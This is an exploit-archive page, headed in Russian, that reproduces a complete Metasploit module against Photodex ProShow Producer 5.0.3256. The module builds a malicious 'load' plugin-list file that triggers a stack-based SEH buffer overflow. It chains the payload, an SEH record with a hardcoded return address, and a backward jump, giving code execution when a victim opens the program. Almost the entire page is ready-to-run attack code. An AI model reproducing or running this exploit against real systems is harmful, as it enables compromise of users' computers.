Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow Exploit

Свойства

Дата публикации:
26.07.2012
Цель:
Photodex ProShow Producer 5.0.3256
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
    include Msf::Auxiliary::Report

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in Photodex ProShow Producer
                v5.0.3256 in the handling of the plugins load list file. An attacker must send the
                crafted "load" file to victim, who must store it in the installation directory. The
                vulnerability will be triggered the next time ProShow is opened. The module has been
                tested successfully on Windows XP SP3 and Windows 7 SP1.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [
                'Julien Ahrens', # Vulnerability discovery and PoC
                'mr.pr0n', # Additional PoC
                'juan', # Metasploit module
            ],
            'References'     =>
                [
                    [ 'OSVDB', '83745' ],
                    [ 'EDB', '19563' ],
                    [ 'EDB', '20036' ],
                    [ 'URL', 'http://security.inshell.net/advisory/30'; ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 9844,
                    'BadChars' => "\x00\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [
                        'Photodex ProShow Producer 5.0.3256 / Windows XP SP3 / Windows 7 SP1',
                        {
                            'Offset' => 9844,
                            'Ret' => 0x1022A959 # p/p/r from if.dnt
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Jun 06 2012',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'load']),
            ], self.class)
    end

    # Overriding file_create to allow the creation of a file without extension
    def file_create(data)

        fname = datastore['FILENAME']
        ltype = "exploit.fileformat.#{self.shortname}"

        if ! ::File.directory?(Msf::Config.local_directory)
            FileUtils.mkdir_p(Msf::Config.local_directory)
        end

        path = File.join(Msf::Config.local_directory, fname)
        full_path = ::File.expand_path(path)
        File.open(full_path, "wb") { |fd| fd.write(data) }

        report_note(:data => full_path.dup, :type => "#{ltype}.localpath")

        print_good "#{fname} stored at #{full_path}"

    end

    def exploit

        sploit = payload.encoded
        sploit << generate_seh_record(target.ret)
        # jmp back to the payload
        sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string
        # cause exception hitting the end of the stack
        sploit << rand_text(300)

        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(sploit)

    end

end

или введите имя

CAPTCHA